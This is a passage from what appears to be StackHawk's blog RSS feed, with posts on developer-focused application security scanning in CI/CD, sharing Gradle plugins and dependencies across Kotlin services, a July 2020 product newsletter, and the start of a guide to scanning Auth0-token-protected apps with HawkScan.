going:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Scan Your Apps.&lt;/b&gt; Use both static and dynamic scanners to catch bugs in dependencies and in the code your team wrote.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Use Modern Tooling.&lt;/b&gt; Use dev tools, not enterprise security platforms. Find tooling that integrates with your CI/CD tooling and other engineering team workflows.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Create AppSec Visibility.&lt;/b&gt; Application security works best when distributed across the engineering team. Leverage Slack to surface your application scans to the whole dev team.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Find Application Security Bugs&lt;/h3&gt;&lt;p&gt;Engineering teams should be focused on preventing two types of security bugs: security bugs they added into the code and security bugs that are pulled in via dependencies. Both types of bugs are easy to introduce. Simple mistakes in the code your team writes can leave your app open to SQL injections, cross site scripting, and more. Or, you may have used a popular open source framework that has an exploitable vulnerability. Even the most seasoned developers will inadvertently introduce these bugs to their apps.&lt;/p&gt;&lt;p&gt;To find these bugs, you should use both types of application security testing:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Dynamic Application Security Testing (DAST):&lt;/b&gt; This type of testing runs against a running version of your application, looking for security bugs that an external attacker would be able to find. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Static Application Security Testing (SAST):&lt;/b&gt; This type of testing analyzes your code base to build a dependency tree and then compares the dependencies against a database of known vulnerabilities. Some options.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Historically, these types of security tests have been packaged together in complex enterprise security platforms that are built for security teams. As security shifts left, however, a new breed of tooling has been created that allows developers to take ownership over the security of their application. Obvious bias here, but we believe that StackHawk is the tool of choice for dynamic testing. For static testing, some modern options include &lt;a href=&quot;https://snyk.io&quot;&gt;Snyk&lt;/a&gt;, &lt;a href=&quot;https://dependabot.com/&quot;&gt;Dependabot&lt;/a&gt;, or &lt;a href=&quot;https://www.sonarqube.org/&quot;&gt;SonarQube&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;Automate! Don’t Let Bugs Hit Production&lt;/h3&gt;&lt;p&gt;While learning secure development practices is always a good idea, automated checks for security bugs is the only scalable and consistent way to ensure that these bugs don’t hit production. If you don’t already have it, you should add Dynamic Application Security Testing (testing for bugs in the code you wrote) and Static Application Security Testing (testing for dependency vulnerabilities) into your build pipeline. &lt;/p&gt;&lt;p&gt;Upon merge, your build pipeline will spin up your application for a dynamic security test while at the same time checking for vulnerabilities in your dependencies. At first, many companies set these as non-blocking steps in their build pipeline prior to configuring blocking criteria.&lt;/p&gt;&lt;h3&gt;Make Security Scalable with Visibility in Slack&lt;/h3&gt;&lt;p&gt;Ensuring that your applications are secure can be hard at first. The traditional application security model is broken, with a reliance on stretched-thin security teams that can’t keep up with the speed of deployment. Responsibility for application security is shifting into the engineering team, and tooling and processes that work with the engineering team’s existing workflows is the only way that application security will become part of the engineering org. &lt;/p&gt;&lt;p&gt;One of the best ways to start on this journey is to push your pipeline application security checks into Slack. This brings visibility to the entire engineering team. When they see a scan with a new critical security bug, they can jump into StackHawk or a similar tool for details on the bug and how to fix it. In our experience, developers care about shipping quality code and will quickly address issues when they hit.&lt;/p&gt;&lt;p&gt;In StackHawk, developers can see the details of the bug, the request / response payloads, and links to documentation on recommended steps to fix. With this, bugs can be fixed quickly after they are introduced by any engineer on the team. While a developer is still in context of the code they just pushed, the cost of a fix is often quite small. With the Slack integration, your team can check for new bugs once a pipeline scan completes and quickly triage any bugs that are found.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Sharing Dependencies and Gradle Plugins between Kotlin/SpringBoot Services]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/sharing-dependencies-and-gradle-plugins-between-kotlin-springboot-services</guid><category><![CDATA[Tech Learnings]]></category><dc:creator><![CDATA[Topher Lamey]]></dc:creator><content:encoded>&lt;h3&gt;The Backstory&lt;/h3&gt;&lt;p&gt;When we were bootstrapping things at StackHawk, we made the decisions to:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Not use a mono-repo&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Avoid dependencies across repos based on filesystem layout assumptions&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;That did require us to handle shared dependencies right up front, but the payoff is that things are scaling nicely as services and team members are added.  For our SpringBoot/Kotlin/Gradle projects, this meant each one had their own &lt;code&gt;plugins&lt;/code&gt; and &lt;code&gt;dependencies&lt;/code&gt; blocks that look like this:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;The Drifting Problem&lt;/h3&gt;&lt;p&gt;Fast-forward a bit and now that we have more than a few services in their own repos, each with their own &lt;code&gt;plugins&lt;/code&gt; and &lt;code&gt;dependencies&lt;/code&gt; blocks, we have a drift problem.  We recently wanted all projects to be on a specific version of the SpringBoot plugin, and we realized that updating every project on its own is tedious and error-prone.  Additionally, we noticed that despite our best efforts, the Gradle configs across our relatively young projects had drifted – versions were out of sync, some projects were missing plugins, etc.&lt;/p&gt;&lt;p&gt;This kind of drift can cause subtle issues around expected behavior between projects; if someone in Project A builds functionality around a library function, and then they move to Project B that’s using a different version with different behavior.  Or if someone is using a development tool in Project X that automatically safeguards against a condition, and then they move to Project Y that does not have that tool wired in and they erroneously assume they don’t need to deal with the condition.&lt;/p&gt;&lt;h3&gt;Back On Track&lt;/h3&gt;&lt;p&gt;Gradle generally wants multi-project builds to be in the same repo, using filesystem-relative things like &lt;code&gt;include&lt;/code&gt;, &lt;code&gt;project&lt;/code&gt;, or &lt;code&gt;includeFlat&lt;/code&gt; to pull common configs together.  But since we don’t have a mono-repo and we do not want to assume multi-project filesystem layouts, we didn’t want to use those Gradle features.&lt;/p&gt;&lt;p&gt;Naturally, Gradle does support sharing plugins and dependencies via published artifacts using the Maven coordinate convention, but it requires a little bit of work.  Turns out, a custom plugin is needed for plugins, and a custom platform is needed for dependencies.  Both of these were easy to build and incorporate into our codebase.&lt;/p&gt;&lt;h4&gt;Custom Plugin&lt;/h4&gt;&lt;p&gt;Plugins can be shared across projects by writing a custom plugin in its own project.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Set up a custom plugin project using the &lt;code&gt;maven-plugin&lt;/code&gt; and &lt;code&gt;java-gradle-plugin&lt;/code&gt; plugins in the &lt;code&gt;build.gradle.kts&lt;/code&gt; file&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Write a custom plugin that extends &lt;code&gt;Plugin&amp;lt;Project&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;In the &lt;code&gt;apply&lt;/code&gt; method of the custom plugin, use the &lt;code&gt;project.plugins&lt;/code&gt; object to &lt;code&gt;apply&lt;/code&gt; plugins you want shared via their respective plugin id&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Specify the dependent plugin libraries via their classpath Maven coordinates that are referenced by their plugin id in the custom plugin’s &lt;code&gt;build.gradle.kts&lt;/code&gt; file.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Note that the plugin ID and the classpath coordinates are different things and that &lt;a href=&quot;https://plugins.gradle.org/&quot;&gt;https://plugins.gradle.org/&lt;/a&gt; will give you both pieces of info.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Use the &lt;code&gt;maven-publishing&lt;/code&gt; plugin to publish the custom plugin to a Maven repo&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;In the dependent project, pull in the custom plugin by its plugin id in the &lt;code&gt;plugins&lt;/code&gt; block of the &lt;code&gt;build.gradle.kts&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;In order for the dependent project to find this new plugin via it’s id in the Maven repo, you’ll need to add your repo to the plugin configuration.  We did this in the dependent project’s &lt;code&gt;settings.gradle.kts&lt;/code&gt;, in the &lt;code&gt;pluginManagement&lt;/code&gt; block.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h5&gt;Example custom plugin &lt;code&gt;build.gradle.kts&lt;/code&gt;&lt;/h5&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h5&gt;Example custom plugin class&lt;/h5&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h5&gt;Example dependent project &lt;code&gt;build.gradle.kts&lt;/code&gt; plugins block&lt;/h5&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h5&gt;Example dependent project &lt;code&gt;settings.gradle.kts&lt;/code&gt;&lt;/h5&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h4&gt;Custom Platform&lt;/h4&gt;&lt;p&gt;Managing dependencies across projects is done via a platform, which can either be a local project or a Maven BOM (AKA a Parent POM).  Luckily, Gradle provides nice tooling that will auto-generate a BOM for your project via the &lt;code&gt;java-platform&lt;/code&gt; plugin.&lt;/p&gt;&lt;p&gt;This requires a separate platform project, as platform projects are disallowed to have actual source code in them:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Set up a platform project using the  using the &lt;code&gt;maven-plugin&lt;/code&gt; and &lt;code&gt;java-platform&lt;/code&gt; plugins in the &lt;code&gt;build.gradle.kts&lt;/code&gt; file&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;In the &lt;code&gt;dependencies&lt;/code&gt; block, use a &lt;code&gt;constraints&lt;/code&gt; block to specify dependencies and versions using the &lt;code&gt;api()&lt;/code&gt; call for desired Maven coordinates.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Use the &lt;code&gt;maven-publishing&lt;/code&gt; plugin to publish the custom plugin to a Maven repo&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;In the dependent project, specify the new &lt;code&gt;platform&lt;/code&gt; in the dependencies block using the &lt;code&gt;api()&lt;/code&gt; call with Maven coordinates&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h5&gt;Example platform &lt;code&gt;build.gradle.kts&lt;/code&gt;&lt;/h5&gt;&lt;div&gt;&lt;/div&gt;&lt;h5&gt;Example dependent project &lt;code&gt;build.gradle.kts&lt;/code&gt; dependencies block:&lt;/h5&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;Summary&lt;/h3&gt;&lt;p&gt;This solution fits in nicely with our filesystem-layout-agnostic/multi-repo setup and makes our service’s build files more consistent and easier to manage.  Downstream projects simply include the custom plugin and platform and automatically are in line with our dependency versions.  Adding the plugin and platform to our build system has added a little overhead, but the trade-offs make it worthwhile.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[July Newsletter: Jira Integration, Apps Overview, Moar CI/CD, and more]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/july-newsletter-2020</guid><category><![CDATA[Monthly Newsletters]]></category><dc:creator><![CDATA[Ryan Severns]]></dc:creator><content:encoded>&lt;h3&gt;The Changelog: New Features to Kaakaww About&lt;/h3&gt;&lt;p&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Jira Integration.&lt;/b&gt; With the Jira integration, you can create Jira tickets with StackHawk findings. All of the relevant information is included for others on the team to fix the bug, with a link back to the original finding in StackHawk.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Applications Dashboard.&lt;/b&gt; The applications screen now includes a historical view into scan findings, with charts showing how the number of findings and managed findings have trended over time.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Scan Filtering.&lt;/b&gt; You are now able to filter scan results by application and environment. Find what you need faster.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;CI/CD.&lt;/b&gt; We are big believers in test driven security in the CI pipeline. This month, we added &lt;a href=&quot;https://docs.stackhawk.com/continuous-integration/bamboo.html&quot;&gt;Atlassian Bamboo&lt;/a&gt; and &lt;a href=&quot;https://docs.stackhawk.com/continuous-integration/azure-pipelines.html&quot;&gt;Azure Pipelines&lt;/a&gt;. We also officially launched our partnership with &lt;a href=&quot;https://about.gitlab.com/partners/#security&quot;&gt;GitLab&lt;/a&gt; this month.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;StackHawk + ZAP: Simon Bennetts Joining the Team&lt;/h3&gt;&lt;p&gt;StackHawk is built on top of and contributes back to the open source &lt;a href=&quot;https://www.zaproxy.org/&quot;&gt;Zed Attack Proxy (ZAP)&lt;/a&gt;. We announced this month that Simon Bennetts, the core contributor and founder of ZAP, has joined the StackHawk team. We are excited to strengthen our relationship with the ZAP community, support the growth of the open source project, and team up in the mission of delivering developer first application security.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/zap-founder-decides-to-join-stackhawk/&quot;&gt;Read Simon’s Blog&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;Applications Screen: The AppSec Dashboard&lt;/h3&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The improved applications screen has visualizations of historical scans showing trends of security bugs over time. Now you can determine where security gaps may exist and where additional focus may be needed. See finding histories across apps / services and environments, as well as the current state of findings.&lt;/p&gt;&lt;h3&gt;Other Happenings: Because We Have to Keep Corporate Busy Somehow&lt;/h3&gt;&lt;h4&gt;&lt;b&gt;📖 &lt;/b&gt;Reading Material&lt;/h4&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/test-driven-security-with-travis-ci-and-docker-compose/&quot;&gt;&lt;b&gt;Test-Driven Security With StackHawk Travis CI and Docker Compose&lt;/b&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/welcoming-zap-founder-simon-bennetts/&quot;&gt;&lt;b&gt;Welcoming Simon Bennetts, Founder of Zed Attack Proxy (ZAP), to the StackHawk Team!&lt;/b&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;&lt;b&gt;📽 &lt;/b&gt;Virtual Events&lt;/h4&gt;&lt;p&gt;Come join us at our virtual booths at the virtual events we are sponsoring. Below is a list of where you can find us in the coming months.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://summit.graphql.com/&quot;&gt;&lt;b&gt;GraphQL Summit&lt;/b&gt;&lt;/a&gt;&lt;b&gt;:&lt;/b&gt; Jul 30-31 + Aug 6-7&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://bit.ly/StackHawkC&quot;&gt;&lt;b&gt;GitLab Commit&lt;/b&gt;&lt;/a&gt;: Aug 26 &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://devopsdays.org/events/2020-chicago/welcome/&quot;&gt;&lt;b&gt;DevOpsDays Chicago&lt;/b&gt;&lt;/a&gt;: Sep 1&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.cloudbees.com/devops-world/register?utm_source=stackhawk&amp;utm_medium=email&amp;utm_campaign=dw2020&quot;&gt;&lt;b&gt;DevOps World&lt;/b&gt;&lt;/a&gt;: Sep 22-24&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Open Core Summit&lt;/b&gt;: Nov 4-6&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://events.linuxfoundation.org/kubecon-cloudnativecon-north-america/&quot;&gt;&lt;b&gt;KubeCon&lt;/b&gt;&lt;/a&gt;: Nov 17-20&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;&lt;b&gt;📺 &lt;/b&gt;HawkTalks&lt;/h4&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?time_continue=8&amp;v=W_7BxFgMYHs&amp;feature=emb_title&quot;&gt;&lt;b&gt;Integrating Dynamic Application Security Testing into Your Pipeline with GitHub Actions&lt;/b&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.twitch.tv/apollographql/video/687530398&quot;&gt;&lt;b&gt;Securing GraphQL APIs with StackHawk&lt;/b&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Application Security Testing Belongs in the CI Pipeline]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/application-security-testing-belongs-in-the-ci-pipeline</guid><category><![CDATA[Automating Security in CI/CD]]></category><dc:creator><![CDATA[Ryan Severns]]></dc:creator><content:encoded>&lt;p&gt;The shift to rapid, frequent deployments over the past decade initially left application security behind. Companies began shipping innovation to their customers faster and faster, with releases moving from quarterly to multiple times per day. The application security processes of old, with a heavy focus on penetration testing, couldn’t keep up. With the rapid rise of DevOps, security teams became either a blocker to production release, or were in a position of constant catch up.&lt;/p&gt;&lt;p&gt;In recent years, however, security is finally catching up. Leading companies are now integrating security testing into CI/CD, running automated tests with every PR (or even every commit), and catching bugs long before they hit production.&lt;/p&gt;&lt;h3&gt;The New Model: Automated AppSec Testing in CI&lt;/h3&gt;&lt;p&gt;We have a proven model for application testing. Today’s engineers run unit tests and integration tests as part of building software. Security testing should be the same. &lt;/p&gt;&lt;p&gt;For quite a while, we lagged as an industry, leveraging infrequent tests of the customer-facing production applications of our means of ensuring security. Security is finally making the shift into developer workflows and CI/CD pipelines.&lt;/p&gt;&lt;p&gt;And that is clearly the place it should live.&lt;/p&gt;&lt;p&gt;You can think of security testing as negative integration testing. As opposed to traditional integration testing that ensures everything works correctly at runtime, you are testing that nothing works *incorrectly*. The focus of this integration testing just happens to be security. &lt;/p&gt;&lt;p&gt;With automated application security checks in the DevOps pipeline, you break the build if a new potential vulnerability is found. And if nothing new is introduced, you can rest easy knowing that you are testing your application’s security. &lt;/p&gt;&lt;p&gt;Your testing should leverage both automated scanning technologies as well as custom scripts for your specific application (think tenancy checks, for example). There are open source tools that can help in this process, such as &lt;a href=&quot;https://zaproxy.org&quot;&gt;Zed Attack Proxy&lt;/a&gt; (ZAP), or SaaS providers, such as StackHawk (brief shameless self promotion there…).&lt;/p&gt;&lt;h3&gt;Why Security Test in CI/CD?&lt;/h3&gt;&lt;h4&gt;Finding Bugs in Prod is Too Late&lt;/h4&gt;&lt;p&gt;Some engineering teams still rely on scheduled scans of production or quarterly pen tests as their means of security testing. Hopefully this is stating the obvious here, but one big problem with scheduled scans of production (or even worse, the pen test) is that THE VULNERABILITY IS IN PRODUCTION!&lt;/p&gt;&lt;p&gt;Not only is this a problem because you have an exploitable security bug available to attackers until your next test, but you also create one of two situations when a bug is found. Either you have an all-hands-on-deck firefight (which is bad for culture and pulls people away from planned work) or the bug gets prioritized in upcoming work and remains exploitable for an even longer period. &lt;/p&gt;&lt;p&gt;Obviously, this approach is questionable at best. &lt;/p&gt;&lt;h4&gt;Smaller Units of Change, *Much* Faster Fix Times&lt;/h4&gt;&lt;p&gt;Raise your hand if you have been part of an engineering team that has received a 50 page penetration test report (typically in PDF) and been given the mandate to go fix the security gaps. Inefficient doesn’t begin to describe this process. &lt;/p&gt;&lt;p&gt;When you get your quarterly pen test, figuring out where a particular finding lives in code takes a long time. You likely have to dust off a part of the code base that you haven’t touched for months. When companies test with every PR, engineers typically know exactly where they went wrong, can quickly fix the bug, and can quickly update the PR. At a minimum, they know where to start the investigation. &lt;/p&gt;&lt;h4&gt;Scan Microservices, Not the End State Application&lt;/h4&gt;&lt;p&gt;When you scan app.acmecorp.com and find a security bug, figuring out how to fix that bug can be a heavy lift. Not only does your team lack the context of what it was working on, but figuring out which underlying service the bug actually lives in can be a tall task in and of itself. As a result, getting to a fix can take a long time and can be subject to internal ticket volleyball, where the work is being passed from team to team.&lt;/p&gt;&lt;p&gt;Instead, application security tests should be run in CI on the underlying microservices. In doing so, you limit the footprint of where the potential vulnerability lives in code, and your fix is likely aligned with the team that is familiar with and working on that service.&lt;/p&gt;&lt;p&gt;Again, this gets you faster fixes and gets you back to building software that is valuable to your customers.&lt;/p&gt;&lt;h3&gt;Get Started (…it is easier than you think)&lt;/h3&gt;&lt;p&gt;I have been in many conversations with well intentioned engineering teams that want to add application security testing into their CI pipeline, but haven’t moved on it because it feels like such a heavy lift. More and more companies are adding automated security testing into CI, and getting started is easier than you think. Here is always my recommendation:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Pick your tooling (I’m biased here, but I obviously recommend &lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;StackHawk&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Run your initial test and put everything into a backlog for prioritization&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Automate in CI to break the build on any *new* issues&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;With this approach, you can start chipping away at any security gaps that do exist, while ensuring that nothing net new is introduced.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Security Testing Authenticated App Routes – Part 2: External Token Authentication with Auth0]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/security-testing-authenticated-app-routes-part-2-external-token-authentication-with-auth0</guid><category><![CDATA[Scanning with StackHawk]]></category><category><![CDATA[Tooling Guides]]></category><dc:creator><![CDATA[Aaron Neff]]></dc:creator><content:encoded>&lt;h3&gt;Got Tokens?&lt;/h3&gt;&lt;p&gt;If you’re working with Single-Page Web Applications, REST APIs, or GraphQL, chances are you’ll need an access token to securely call protected API routes. In an effort to showcase this process, we’ll be configuring HawkScan to work with externally supplied tokens from Auth0. To do this, we’ll clone one of Auth0’s sample React applications, explore how to obtain a valid JWT token, and pass the value into HawkScan’s configuration file at runtime.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;? Note: This article describes the process for running HawkScan against web applications that have implemented authentication using access tokens. It is not meant to showcase any vulnerability findings within the Auth0 sample application itself.&lt;/p&gt;&lt;/blockquote&gt;&lt;h3&gt;Pre-Requisites&lt;/h3&gt;&lt;p&gt;You’ll need accounts with StackHawk, Auth0, and Github, and you should have the following software installed on your computer:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Docker&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;npm – Command-line utility for interacting with JavaScript projects&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;jq – Lightweight and flexible command-line JSON processor&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Generate an API key and save it to ~/.hawk/hawk.rc&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Create an application in the StackHawk web app (&lt;a href=&quot;https://auth.stackhawk.com/signup?free-tier=true&quot;&gt;Sign up for Free&lt;/a&gt;) and save the stackhawk.yml file to your project folder.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Create an Auth0 Application &amp;amp; API&lt;/h3&gt;&lt;h4&gt;Dashboard Set-Up&lt;/h4&gt;&lt;p&gt;From your developer dashboard, select ‘Applications’ from the left-hand navigation menu. Next, create an application, give it a name, and choose the type. For the purposes of this article, I’ll be using Auth0’s Single Page Web Application.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;From the Settings tab, add ‘&lt;u&gt;http://localhost:3000&lt;/u&gt;‘ to the Allowed Callback URL, Logout URL, and Web Origin fields. If these fields are not set, the authentication flow will raise an error.&lt;/p&gt;&lt;p&gt;Clone the repository and install the project dependencies&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Next from the src folder under the Sample-01 directory, copy &lt;code&gt;auth_config.json.example&lt;/code&gt; into a new file in the same folder called &lt;code&gt;auth_config.json&lt;/code&gt;. Replace the values for domain and clientId with the values from your own Auth0 application found in the Settings Tab. Please note, we’ll add the new value for ‘audience’ after creating our API in the next section.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Lastly, navigate to the Sample-01 directory in your terminal, add execute privileges, and run the &lt;a href=&quot;http://exec.sh&quot;&gt;exec.sh&lt;/a&gt; script to build and run the application via Docker.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Once the build is complete you will be able to access the application in your browser at &lt;u&gt;http://localhost:3000&lt;/u&gt;. Step through the authentication process to verify that everything works as expected!&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h4&gt;API Set-Up&lt;/h4&gt;&lt;p&gt;From your developer dashboard, select ‘APIs’ from the left-hand navigation menu. Next, create the API, giving it a name and identifier value. Under the API Settings tab, note that access tokens are only valid for 24 hours by default. If you need a greater value, be sure to adjust this setting.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Finally, add the audience value you just defined for your API to the &lt;code&gt;src/auth_config.json&lt;/code&gt; file in the Sample-01 project directory.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Verify that your API is accessible via auth token:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Restart your docker image&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Login to the application&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Navigate to the External API tab&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Select the “Ping API’ Button&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;If configured correctly you should see a result that says “Your access token was successfully validated”.&lt;/p&gt;&lt;p&gt;Go through the login process one more time, only this time record the network activity with your browser’s developer tools. If you do this, you’ll notice that when you select the “Ping API” button the requested URL is different than what is shown in the browser’s address bar. While the React app is served on port 3000, the backend API server is actually started on port 3001. Therefore any call to the API will require you to use port 3001 rather than 3000.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;Configuring HawkScan for Auth0&lt;/h3&gt;&lt;p&gt;Now that our application is working and we have a better understanding of how the authentication process works, let’s step through how to pass the access token value to the HawkScan configuration file at runtime.&lt;/p&gt;&lt;p&gt;For first part of the process, requesting a token, Auth0 provides great step-by-step instructions within the developer dashboard under the API’s Test tab. Additionally, the dashboard outlines these steps in multiple languages, including Ruby, Python, and Node.js.&lt;/p&gt;&lt;h4&gt;Step One: Request a Token&lt;/h4&gt;&lt;p&gt;&lt;b&gt;Request&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;Response:&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h4&gt;Step Two: Call the API with the token returned&lt;/h4&gt;&lt;p&gt;&lt;b&gt;Request&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;Response:&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h4&gt;Step Three: Pass the token value to HawkScan at runtime&lt;/h4&gt;&lt;p&gt;First, create a file named &lt;code&gt;passToken.sh&lt;/code&gt; in the Sample-01 directory and copy and paste the following code.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This simple script accomplishes three things:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;It passes the response of our token request to the JSON processor (&lt;code&gt;jq&lt;/code&gt;) and saves the value of the &lt;code&gt;access_token&lt;/code&gt; to the variable &lt;code&gt;token&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;It &lt;code&gt;source&lt;/code&gt;‘s the hawk.rc file, making your StackHawk API key available in the current shell environment.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Builds and runs HawkScan via Docker, passing in both the &lt;code&gt;API_KEY&lt;/code&gt; and &lt;code&gt;AUTH_TOKEN&lt;/code&gt; values to be included in the stackhawk.yml file.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Second, format your stackhawk.yml file to support external token authorization.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;Configuration 